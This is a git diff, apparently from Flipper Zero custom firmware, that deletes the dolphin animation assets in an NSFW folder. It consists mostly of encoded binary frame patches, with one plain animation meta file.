z$L*KIfAyIv*WYXZuHq>Wqwt%?CH_B+SKU?q$7DDyqqt4ur2pcynyy!A@r}qZT8H^nz=M*?bv^pu_Wl(J$tef>j~|SyOKRTQ|1-S?i-7May%YXE z8P@<_J9rc$)K4GU{Haw;Y=ZUmz3Mby5C6aJzbclN2MYCmtne5kIB);mdi-*hs)mB8 z_3P@Y4B_wn;QEjDmT85Bbw6JC76{xM-^LkZM+v*6+Y57tkD|7N0Ctpy9~w+9~o|4*ua zZfe)8f-Y-x6Ua5Y7N~9D_N2;&+4;J6+kHKf@SPUl8K}*;8 zgXtHPL8KB`l`a)(*Yr`PfBMt-RXCPIK`YR883X_x|Nk#^fKXt(tyC*jR>~v{zA>px zQlW5)$SSz_06hNndNvY)0^@aVZej(J*l4u?@$dcq)ci;OlZusOBoZb#hsl01c^CgB dEX+Y5oS7u4JXd1)(gouQl*lAD3(kXs=rbHVnM?x z>fWt&y{~JnzYmTp{Z$v1t6lx;U$(N}Z?3-~{%A$xso8%n-M-eY?fd`3@}KOeylGY5 z@BeST>uY_(@ehc!a-AyQ_v`(?YkJ?2`Cp6W6|et8qr~Gn1|Myz= zZ4Zu+zA~9DR2m@>>)&<%zh1rt{G!seI-q#~2k-y)2ga%X)YP?JpH7--%p&Bo<2Zv{crvM@2;H@{%U1fU(me*hF=@?E~Q!eiUeXH^6&fV@Sf(T zNFN_~Xp%x=EOwLZeH~D~Yw-)^CX6bT%h@5DZs< zm#M4&`qKjy$o{{A@sGrV<5l$o$NgWb!9NRO@9XIa@znIcVe*C4W4}Q8WPg;Lm#exl z9RAt~cps1MUQZmZtJVJ1{>S4`o{z`hpUQug<8|)Z!{elZV85IH?7oBiPmPz`OaIQ| zT8fc;I=v9AIkr!beJ6jQT6AfC4y4Aw(xQ9{ki<7^G_s* zRB#<{czpf;`F#id0l-lpnO?1b`XE14epPd}nl8rFRNYEC1g=s)A@@oGN@nQ(uUf58E$@)F6~D zhROw0mr%a}^8e@PkSdNNnomJF8FqmjZ K$s9fZe13#FmN#7h diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/meta.txt deleted file mode 100644 index 30c74a14c..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 15 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_0.bm deleted file mode 100644 index 0607a65674d6489d0fd8052d506718330c2b9ae0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 356 zcmV-q0h|5-0AKHseQJs=n2 z1qQ?(KMMb;MF8^)5ke#Q2KjmjE>IZxHc}|>8^Au8L-YUqAmIxC{CGHW0RSWX0vLRF zA78)_$0Gpx`~ZgWa0l0b1XcqDw#R|N2h;%AI1U&kU_ewZ7u~k72nZO{r0#-)Ljc5e C)}tl> diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_1.bm deleted file mode 100644 index fbfdb5ad856160a6980db86a42bb274b65853f0b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 342 zcmV-c0jd5008#<}fE*mZz<+)L{qP6(fFIlde_#RpZ}5ME{2$=|2lzk1{txhe{U9Ly z|HHxgz{}r(`S5`JAYl6rj{+VKtOR@pGvIxAAYd{41MA>YFnvz}<$wp&c|W)aI6rs< z;s@hDya4{Z1Nv|e<8m2C^bdG;0{#(C;5}e4e}D``C=Xl=4)E;}0yNhH0sl|POW+5m z1_A>a$UO{e!@ynm7jSz00q0}DPv8axT!=jXehB%fLFzDH0d-6-H~2r$0Em$Q48!pM zMWTa-e=xrT&JYk^_x>NSpNHgtQ2&H~{R;=d#9{sjKk)p(^uPaLbC2VF5G}ueLpTQ+ zC<=5@;@?t&=lu)u{urU=kUs`JBVXRq_BC;mmO0`?vsyyf3nWe*yP^C=7rMKsolIHUIzs diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_10.bm deleted file mode 100644 index 496d0fdcbbe5aef83400195d9faaede9bf6497bd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 339 zcmV-Z0j&N308at`fF1@8Pk=rkAoTDD_#Ywl-~;;r590iT{2$=|Pxybs{txhfgZv-h z)Pe)`nlKQ4ct3D(eqJCE;C@G-AHaR!Amb4S-vNd|`}iOFcn|1!KX?!@evgbFbKrj9 z2gVPt0Qle<0DN2?C?SXhz#hvcfW`ss0RIQpI1hioePNggs6BW9^@Dsb?eZ8z4i9|( zzr+Ba0D3_0$rS(&03LWa4W1NIf8ad6{2!10a1UaNaDP8rnaRP$@9Oz8DoHh-ai2OC=QMX z{O}MZgns-S3_&k3c8olzCJF!GVDr!5!b$@Gk6t_qAt*qsLBcg0Q9=Vl@Zhn?K>+dK laL2=Y2gLXUIQ9iT&zKIT@P`NRAGP?nL_cTY2H*f^0958emc0M~ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_11.bm deleted file mode 100644 index 30fb626d87f5e8ad60ff142a0aaf7fd65020ec74..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 336 zcmV-W0k8f6089b@fF1%4Pk=rH%is_906*9Oe-q>%;Qt5sKf(SF@PC8-f8p*2ufjeL z-|+u%5b%EZARzs`8~QvC+yopSyaDio^Wd-Pz&^!fP9Xi0j6Zw`7(aXnBcKE1oL~X; z1L80bNC(g!-}c~u6dt}1e0UBFUN8cGfyW=f1K>cAc4*WTWB@z?JrBYo5rsf(91VZ? z9^Zg@%svo50|dwo0i13M0&-#jz+)Z4aL))61CD!u<8TMJz#cIE#rzI71PsUj2G<}h z|N9@51SFtW_(%C;1p?o}{1}8E1_6)5ljC>?#{s@G%j7wvB?*I@#yIj4 zguwm~dBy>r#RGtY1zIKv_zH$O;DDGUbVA{Pm?<_t2m}wnp^?yth6Z*Jd=7-5A<_N= i;B-*&Y=8u~Fb?28@BqO5#er diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_12.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_12.bm deleted file mode 100644 index e82925f17d57c2fe3ad5a5bab17b45123a0ffa02..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 361 zcmV-v0hay&0A&IHfF1@8PryDPAoTD9{2$x^e_#RpUyy%;{2$=|2lzc`0RH|1_W{2L z?*ax7-@!kp;Qio1!Taz(^xz-Sz~5a50AKkzshKK~tXfP?OQycYf*#`q7u3=aVx z2j7MP{vQxNY%mM^1i|q!fCr2KKj3>ta1Im@#AX5W2rs}M|M2>V7#=Y2dk7SsasYZ@ z3P=waF>F*~Ad8E%d>!$U;1lb-PzwaW1^i!}2hrbw{1R*62bKhOKLJRzj9{=g_=`$- zFo-?yIAS3HC*U41@EDs*fDcjuL-CjRa>d98KZZJq#LrX~kN*IlQi793Ix*mTtcIWc z!NX0?P&hb9W2WabkUV%FNWd6M5T70d3?3y3ZHO#p0AYA3fW;#mxB-SZV1RhuEC6A= z7$NdE1>txWFb^IF1V%Ujd%z1LfWVtz08rqO2*d#@qKAX+R8zox_y>dd2imBYvH&;S H6eIvZ6pWbn diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_13.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_13.bm deleted file mode 100644 index 3573860e186aaba45bcd658b9317b612619e080e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 385 zcmV-{0e=1g0DS@ffF1@8PryIE0RHd;`v4D!2|vO7AMk&J{2sgjeC0rqEz1YBfdbKt;i0TKWgz#hB+34TA}0|%}GAAsNQ!RQqb0YUf)(fAjH z0DJ&?{|Um;Fadvo>EN&bR004&fx+8@|Bvv&>M%HYv~&<3@WNr~(cmLQprZqigT!Jm z2OxkE>{0f3j78oc^;wktx*+lq5CIAW9}XS>9^b%u-vNwJSmXkH50Ze-?id-EK2jqO zdkn-MB>@MKe1H-BXN(LVe}%}$!S?zo=Kvo}vbX@q0T>84h;R+l2~1Pni0;pqHP z^8vs?%cDOB*MP!A0SC>&8bTol%-|kBfe?e{835Q1gdZ>naxg{0AE-0}od2+S07PG4 z{tuS$gdzO=L&5vFfdlORGXj1C{y6|(kUpai;Rp8toH_t}k4FK&^aG$CBhvqW>)`pY z1IB@WAJFuOWHEv0zf0Z%AHY4}5%CcD;9+48$L@puz=+G}4}TB-e*k!ql!5C3zdOeG z4=;c{ARzI17r-7w6@c&oA`ct@Jd8>YGU$L1K#(@*q)Y&X6M?J5LO=y5oE^R_5&$m% z9&?8YfEXTZu?UC(|A6s_#~Y+TsQfYj0T2V6NaEA2sl1P$X}sygYy6`5Po{i$h&^r)4*)$1Di0X|WME+Q@B`0>0GI+s4j@qa zgUTE*korRb>R~W?BZvTLBjbb4a1T_GgV5w41^ffYo)13+1Rkdn?}N<%!~_SN0iviA zzk|{KNEY|E#123+K&_lUoB(?e2hRt-I?Nu#0pZX6#l}di2l0n4IYAI(1CImfus8^M z^~?wY81aC>4!JAEfFD>0I7oZ|`hZ8!V?zhpG`!&ZAQku@d<5vv0rvnX2m@n){!XYY Cc&?rR diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_16.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_16.bm deleted file mode 100644 index b1d69ec21ae094faf71403ff4b131c850f4c4e16..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 364 zcmV-y0h9g#0B8aKfF1%4Pk=wX0QeU#06*9O{}cQlA^!*XH9rvWeoz6hPhZ3xKOytq z8}|VR2k(FeK>NHW`g{-G0QiCT=s6fZukHQdMc4cAfArzM(BS_YOdnVX7(Z|)(+Af8 z9Dw=ogZjV<7$`iw0QbJ|KlAYg&-@jC&^+)T;CjaHAMZKIGyvqk#wHc*`U!u4^N+?e z5P!mnNdf>UJTtiQ7=4#E~#&l2L1g8;_p3;}pLg#SPOIXHjPr3`p~_%d*fguxIB1RT6u zR}=t-9UMoPnV4L;; diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_17.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_17.bm deleted file mode 100644 index 5eb52d460a3ee13e8a5dea80e88ecb97d855a85c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 332 zcmV-S0ki%A07wDjl%H3tOBrn765%fBf=rDgY8&2 e3m87`03pAF@4x~Q`2Z(?ypscfHXIM-Xn+hrrIM%s diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_18.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_18.bm deleted file mode 100644 index 05d5258a6237a2d99346f5536d0e6e30919ec602..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 338 zcmV-Y0j>T408Rn_fF1@8PryIC0RG?u`v4E(e}nuV;Qt5sKf(SF^nd>W{l5pq1>BG@ ze*ekx4?hGPAHRcr1I|1T+yJ;i`M?2?KKu&%2bI7d)4+d2f&5+|eefDc;c$4DjOal4 zyaUic;PH+F*T4^Q@qiEf4@ezAykZH#xKIFq^!xY0&QV+af&pp=x4<57`-T7pBMO1e zI2!x-!k{tFhxhhUV+p_^pO1No)?_LeH~I(sXrTcC;q_LPJHs;J|(f8Ep;&2LU?>J`H6D k8ISm(AR&hrq@Y8g&JSfmPVxK$?0O?308xNI8l4aUfXU{Tw*UYD diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_19.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_19.bm deleted file mode 100644 index 163bfdb6111a9277478d78c19477fe412b0f1461..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 365 zcmV-z0h0a!0BHgLfF1@8PryDPAoTbH`@j$Ie{cc)fCuruLH-Z$e}nuV=l^H;eP_V^ zz(K+L;DCen@L%ZQK1=Bi59v5V`@jkaKRycl|3l}1`hovH_wsOu=mI|iaD(RpKosbM z$NUd|2ryHk03dt$a0j}qU|}Ky2tC?E0kA+JhH)@Q`T`3W;8;>3P;gkm$)s?FK~KgaVj_cp zhVVThkboE#UH};&BY;T|aJS&#M3F8COo8r6I5~Cz1w0897#~Zbo+Du3Wx@Od?7&Re L03kBK2R;Izy38$U1;@_zUr;Qjm?`g{-E1Uw(U2pB(p3jUr0`Zy2ha6fPe(g)#q z!S%p^gZID=FnwGB=<^VJ&L9yWdEh_5^}t5_AM%QR0qfw0{6FUuzysI$4vahyK=J4> zG)har2c#Ycw*T-@NMc+L59jsIlo1jj;-BC+H<$0fhbm0CxfZfF1@8Pk=rkAoTDD`+y(p0DpnTC)3KG5>>i{7hfj~j9V8Tm#7Jo9Drj{2hZ>xeZYLMiZKAUgXL6H4h5VaJOudoJ_r&3I)qi@ zUkA~ES>r!gk%C*Jd*A@Xp(?TPJV>D+@!()V^?+@Ncv ZY%jpfiV|=k{ge#fKmm^fEC5r0DgbcVo3H=? diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_21.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_21.bm deleted file mode 100644 index 78a04e1a6c9f5cfdf8f4eed50518a2109e6d16e1..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 409 zcmV;K0cQRI0F?p%fF2GGPXIn3VD#Vv{2zZwR0BW{tN;+d!20+?`n~%2KCi4xPu5_I=ss8o`2PF= z!Gj0w9zgp~iEu&V;1A9M4*-v70npzfX#WAy9~cDTo;&-%e!c-AhDU?-;2;bh4j-!r z|K$THNIY&IkNg|?`v=Uz0gZ$2n1l~_!vJyQA%F=)9~=+iR8&q67+^ea0O0@+_#X}; z02ja>gOP_EL>`y``!__wAOvF|d_p3@5rl)zI1f>RLGTRX2dW7H=0Okwpo|`A(f}wt zq5J?akVF8=qzCR|3T1WVF%aZ2Y}zCL;*eqSl${WV3pYT7xG{r`0y|; z_y802R&%r6fy5KaacFrF*~AcrJ@un9aP3Bkb6h&yK!668g{Kh! diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_23.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_23.bm deleted file mode 100644 index 79432fd1870f68171a8b3a8b492ebacc709afc68..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 337 zcmV-X0j~Z508Ih^fF1%4Pk=wX0QeUuK11uk5B2~*#rZe*f5ZMCM0AJO{14ycJb$A? z2i^h(U*7@0uK@mz1Ngci{O}Wq9~baY{ulio2iSaY5O99*2gWb2gTDjgJb&r+1N6)= z{qP-P572TzKcM%p1J(il2ls#;;DIQpfu$ zKm*_d(m!VRf6_`(SkK-A;0Lip@9@jmAVKUPIQ}v|3}TAI{eb!y6hHY5g#+UN4;Vf3 znST&T=wS1}7?Yd;E3xOt@0iFqJ`zMu7-Kz13=bxHpjaL;hI=4X9y8AbETKU1z)#8) z3mdW6U}XxG`QRpE2tWVN|G|evCMp<#{~+l3Fc5HK@Zf!X0pmQ51M7gy8-(B=Ve#-M j=m0Fi;CMmy%p3;{A9sKd^MUu^C=c)-cmjZz?4V!+HJF?) diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_24.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_24.bm deleted file mode 100644 index 0822417d7e80b6bc44a88a1b68b5b31a785cffe7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 346 zcmV-g0j2%{09FD2fF1@8Pk=rkAoTDD_#Ywl;0OBv590rW{2$=|2g$ud{vYsu;49$$ z{(r&wfWPPF zFaY%!2#7`%VBmje@H3Tsd=P)sJjCDNd0%`2@dvp?=l=jWgWRHaJK!8tPEk39_!!^< z{D1HE3-~^W13$2PvOxJbjDNw$|DTwkk^Te^`p;wvL--IF#PFd)@qkA@3-$mPf`52` zU$_u*g)6;D5n{|Bb_ghoy)7v50@x2OM+}f*^DVJm3r?2=D?%Jnj%OU3Z4*8_zy@m zg7NU5yiNh22c!yh{1xw4}1YUfAH{l_y!Qq z5Ez5REF}nl&L9xLF%%#IFc{+GiV&V9bN~r7QTu>DXNu`K5~zL{0~r7z_9P((+NeZA f54YK4!S}!h3QR%tOeSmq5*!V{0Ix^^jPU>%nL4h6 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_26.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_26.bm deleted file mode 100644 index 69f9bf1a41af1aff66154ec5ad26d403ae8bc181..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 406 zcmV;H0crjL0FnX!fF1@8PryIE0Qi7|)4&h#e}4h{fRBUVJe&wPKYj=K2c+;H(C~iv zAmIJ@83Y{n@OjP|^ba`TKR@tza6U!i+8OycL-qWC{~lx?nDMw+WFL$GuvMZDt^jaN z#4nx!xdZeI6LACZf;j$+w`X5_@{C^1%01tqE!O@(5$N~T&K!e-i z51s?hKo3`F{2)I93Io4hz$d`; zTAT(Q004;yiZ26$Kma0?A%nrkLOdrJj2;gIE*}6N5cnSe_=E?~gTx&$1PIUIW40(f z47R`o_)7tpXptoUOEC>sS41^z%!I0m<_RS!Ed;mib2j7AM4YL9O41YJQ Ah5!Hn diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_27.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_27.bm deleted file mode 100644 index 09cca85b8ec0ba94c38b2dc1003aaea8217fd38c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 404 zcmV;F0c-vN0FVLyfF1@8NMJr7AoPa=_W=V3?*Jd(0(^tg;19k43}*oO4iEePUycXs z0Y89W;o;g&AOiRc-1sCB03Y-|uhAfo zf>DG)AOYY$!1Uk)#DX9M`~%ctU0-(+Uj1h?d6^w8RfP{bzfDf8*YykIw ze}UrzZwmO#F#}Et`3MdVAqbEv4y+aOfDj%q^@ z4^MyZ|9kh}d-o7n#vm8y2t0qlB>&FA;~c<$;o|s@yG!8#p9A6^o-5=7@DGCU;2?bK z`cOawh!A?fe&3!Ob%E#Lz+LbV{YUhF77he%0Y0F7!R;MS55gEv7zCg|)0hUr{39L# z6n?<<`M^FI_xS(^A^#Akh6CVX5CEtb*7}D993TYf1CM=ygZd}n^0dJdt zLL%Q0gh0bW4-$}=S>8bL5R3wFl7M*+3gCio_y2x-5P5h3?f6&>2LKNz_<$GSfGh-j za7!l#o%|TfB;kX{;t#L)1_Qw1r&s`gOcX!i4?qwB{SXQN@;sej0oWivi2PzW50k+7 zAoB%l1JOJ%^<%J5mNDx9B_S9fGA9P`yl?_f7GuQ~y9EeC{}11Qpf}=V6choV|4t}R CUC_1w diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_29.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_29.bm deleted file mode 100644 index dd877dc8d3ff0ded8ce00c9dce5cf7598bc994b8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 466 zcmV;@0WJOk0L}sbfF1@8Pk=rkAoSn|_#YwlAILw!{tsWkKS|OLU-TdU_ulTn2m1$~ z0)9Uq@P57kK^Hyz9(UsY;344s@GQt5f5DM&!Sx?cr??*Y2sk{%1HJqAuYUdLJbVTt z|NF)9_-FL+AJE`>e?jn0Gkv2-Uwi<2U;X~$c-{Ws@dp?@yW#dXAii)n^#Fs=z}6Xp zKwam5542`60I$!@VEOO=`W+AljsyG;SRWn-;EtrC4}ih=!$ThjpTHhuk?`I@LmpYD zupUrc2hMm5Kmk+%!}lzV|9*WS0#F=f3xIe2>f!(|p-3c=`fPu|_wWn^HZ#bFfjmG3 zC>9nTix+tS7xeWgI6P;-_xydx1@M5o$biKI{72p9089Y5LE{*oJItWl@OgX^Vh?}d zeE1N5@PXQ67YB|49*7cy{qArH!~!`0Q8_?<5OZnh2oHYXU;hTz02}as+4Xb)2zVsX zj{;I51SlW~W8pCXORT3C0DU^k;a~^Y@OT^$eclQK=L94OqAL_24fsE7!GK=@_D~=M I3=x9uLy-gYp6o({Y38_8|PA zf9K%y{{!FQ12-8ELGOHkLjmUi&;!``Ez$rVfF7XHKN$*OXW@_o*YFQW4*~=HY8gr3 zJ_rW=0)qyC+&mHf0SQJ41DJjx&J-}TA7P&{4Dev5^!Rz(<8TM7C_n>!uzm$3@-P7W z0p;`Ov&iNk^xy-_2mhP!7A!zWJWRkb@OzL84+FSQ?*R887JdidgO`~Cs{vsUJ(xw` zum3>8@^%qH|HBc07$Jl(Kg0+cED<0?2jC4T;62C!Oc)z9P7sk05W(gGVF$J;2z_Wz+l1SfH*>Euq>{(yt=crfsOejtDF zeqVwn0CCXZ1*3om$b5VPB98~_@L?(7KBs{4_yg#CAOY|L=Ya8ifr4h|VEW(#$GaT^ln`M(z3}=#1Ni^mzW?*$sGGCn_d&=P;DAFT;|l-Y zLE^y>eNLbe&wzrznfL|r0sVn&3={wVK){5dk6-@}4`Yt}9`pm?$K%b`0w6qZ7l3-g z0qAQVf(Sqd5D+E-I6MmqKA;frkl(@gJOK-W&;ks!0l8E2syue05ZRVNA3e3xII1y^t+gczyIEY%$y+e z{|l4e4=DP-cm(1H-@xQx`X3lPec<*540s-d;_v>;!XFfAi_ru^QT@PZ5HNcW**akK zP7wV30ONpY0m6`24S*hy0BVEEVE~{5&j1iD_&X!K{Kc5Qhdj4}e&=&Kax+$K(G$fKNSy=SdpqWB<)uJb^L)1Rmi4 zj}R^btsB5TJpl5sGuVKi(E0EnWC*|i;C=uolp%ys|AZa^e%OQG{eQpA1EPl$1XuhM znB)S1-v__Kf54B<7!q0$V8`YF`oJs(aG($cLxw_d5CuYpL&0yr0HK2+!=MBKCczmD i7#~-_5X*>S0H46{X9F=nQ1E{Y=>QS{d<6S|PXMS7jm@9{ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_32.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_32.bm deleted file mode 100644 index 3746a749ba3bf349678e475041f849bf90ecedbd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 403 zcmV;E0c`#O0FMFxfF1@8PXIr-0RIQ~@E^DUbOYDn0|)Q$-?#|)KYRc|2j{^*)4+d2 z!TW%NgZIG!2kAJ0_)Z{xM}hiIFn#b2Mh~w8M8WlN2lU_{vH-go+yWikISe284|)6o56*-@A@~pQJ&8ku^OXiTwG#W_Fn&M1 z{RTr8M~{!=0RLQ4P#+uH{CEce5IeAU>H&a9f#u*Qx3~l#1qY@7>LMTlsl)(ZKm31& zAZ9qP&L4vK|H0~lNE{D=efS*&VF2;KNALs|;2X>yAkjA&g`n_g0JK%aFnD-0KqK%6 zu)v|>(Fc!!pvDr9kHi=taS%8A|35c~aKFIzX^1^Q4p15VeH!2cagBa|cn8sdVgHEm zK8phn@Ek}1Kjx x2{{BH3}(T=VbT=|pn2Q@^a>f| z25=w02mb#Y58w0G|A&L^7CZy+jUUu>AAS$K{u$VUgd83`5Bv@s20(kpARhX^_+mf6d%wr}1SkiU_^inf+zWe zL}4KDg9Jzb|Iq-zAmI`iRsseQAOoa}0ReynM1cVD;J`#A0DyS~1VSJPX^$LeAo@s; zoE{?jFb}>1I0w;yeew9=zF-s&{0IFH57EF!#1E(i_=G9?01Wa0_<^tF05=E*LLT3c zdB7vj_&6GHX8`+V6v8+Us02JjGk|@E2f;80-QZ+1uzmOdLmvm<0Kg~vFcQ0F43vfF2$VI{-dl;Pbcx`fv}J7(C;E`_O;q@W6flhK3KE1%3nI2iP#M z0zn7Q!UF*CKz;!DfSSY}Fb}{!V*v4(KqJ8X5e_^bk<16YACT?Y3&}p@>m;k@P`GbScz`t-% zj6^{o@*t1^{toyUh=O1?0C*;Lzys1@01$`)h6e$hKm;N%s0?xdArJ#7 z&H}6v2!I?Ov4DIG3I@Cph=3g=P!M>xjDZj~V8em%fhZdATgXs&JP&{mujl?B1Mmar zz;*(Nm@1zKm;>m*FgX11A4LHf41C`p0ly4}4iCBH1Hl7N$N*bq4`0XtUu8UR$-tl? vAqkPfSHs}A1L%4n@vsB#eB>J#KK}smvxD!zP!yPeD*#Xwn1C(&Km=Z>vI4Qu diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_35.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_35.bm deleted file mode 100644 index 3d9234a037980962e2989794d5e15986ae59c4a9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 390 zcmV;10eSub0D=MkfF1@7J_HOOzX1PF0sRjL?|=v({QMXCd=K6L_(A#LfP?nnpRn0Z z0sR~Y^e`Wt541QRpYQw}A9x!4R3Dxg9sxvP`24^y1tJH_=y(txgcu(yvEV>I(eQke z2El;O|5x{L;6VNm6#Yy*9*n#kA5n`3^8OFF@Hc)ac(4QQ);|H66feQS2iWjbVh^=g QsKg(J0RU=tzy}Tjpg=aES^xk5 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_37.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_37.bm deleted file mode 100644 index d880be04cc19f60a34c7f206808e1ef6702ee792..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 350 zcmV-k0ipf@09pb6fF2$WP5?i!0R9*FK49Sg2lzjrVE+gBKf(SF=mZ1K^xT62J%OoFM%t5`KrmP9=T#7$_f` z!#yA&_?`pQ;_wJ~JzyW;dhkie4-I0R98g!ViytJuWZ`fIX0FF~EPI zVD|h2(5@#F2bo1CKZrc|9>N5e&LGo(d!UYI82{bD?olv#EW{q@BAMnOe}H@-if7mb zAU#M0Hx8IR&Luy-1L^2dxx^qJMFE@dFW~wp48&w0vj?{W|MTfS+6l90Kvc w2h;%=J`M?fpb+5@;KBDiC5{{)e*j45f%o79kMJL50{9p10UiRNK1u=rFe-MO+W-In diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_38.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_38.bm deleted file mode 100644 index 821ffa75a81de2c93a111d5f4ee0cebb987d28e1..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 354 zcmV-o0iFH<0A2zAfF2GGP5?i!0QiB6{2$={7x;g}{vTaHe|!Mw53lea)8c;c0)ijU z1Oz{~!~aLm`+xzEe#gWQ&%*zYq7TdjJRiRU5rgaa|LE{PPo@vP0QkZ74mbv=A07aD zB?KP!0D9m7?{EbS2q1sJdrSi&?{G5`2_4N51+hx?X74`PY^;h%D7!xVErh96X5v^j2nR8 zQi7_+4S*<0L~rZTNlVOsKREfAP%-eo;0yv*BLoVDJ@6Y5f(3(kFHk&5gYdvFxB-A}0Q`>#hB6Pi!N5{tP|=XU0Q9t$ Awg3PC diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_39.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_39.bm deleted file mode 100644 index 2e8a56c700440fd9b0337aefd9bbba5ea0f200f7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 396 zcmV;70dxKV0EhwqfF2GGP5?i_@dF2@06)X|53j&K-{Ah>A>sY_K*9TbNA3bXU*7-_ zL;3hW^!cBr(GTggL;L<;?gCy9-T_F#@c}-IzpMcMxC8oN55f3@{2$Z^-U0*` ze+S?G9q|7@>+=VPe;fty2t)!8{=H9z1N3ji5AXl_m`nJNYz7DS!tb3$j3D>m-(Vl% zD7}PU*bfZ+nlNF3egW&i|CdLAa1a231ORaT0Z5<&@&FI`9)Hkq-@&K=6dHc#DSN#(xjELkR*vnf?A@7z2w)R8N2XP6Ogd5(HoP5%BqV0qpE91Uw!<2S|!& zVF3Ct2s~i30DXU#gFi;O!3abB_ygz`UJeK;WCjE&mJM34BLY5)4*p62fiMto7{h_+ q0BP_DV}Scyl;R8zr_p=^=?GY`Fn9v{fJ4GU&43}tgO&g(z!d-O9$mk>oXNkC;P5y%@EC*PI6e-7 z$W!ycfbc)juzkSCV-5$@1AqGew1faZ;Cuf+{suq z14vj!1Tdro9x3AR1JOoc@xTMi01r$6JmB~PVgL~0P&gPqjwOeI@FO7jVU`{Pz&0rX zx#00fkN{#3A_C{&e*k(Il>#&Q{lFfu2>?AI_sQTqVF3gJl0;zs2>dY`ttCGU99~dE zgd+w7KVyP{2p)nHAP_u%5V^p9Oaf9E_&)CdA)a^-CQ@&J2)F^IkdP0+V=fE9q6Pzl xfQJSTVWLC8LgE|%Xut~mF7tWV$M^vtEmcCnA>h~#^iVJc!;LHeQHYcX06>6@x)uNc diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_41.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_41.bm deleted file mode 100644 index 5a46a5257db3a7a88893000c9e717501d145425e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 489 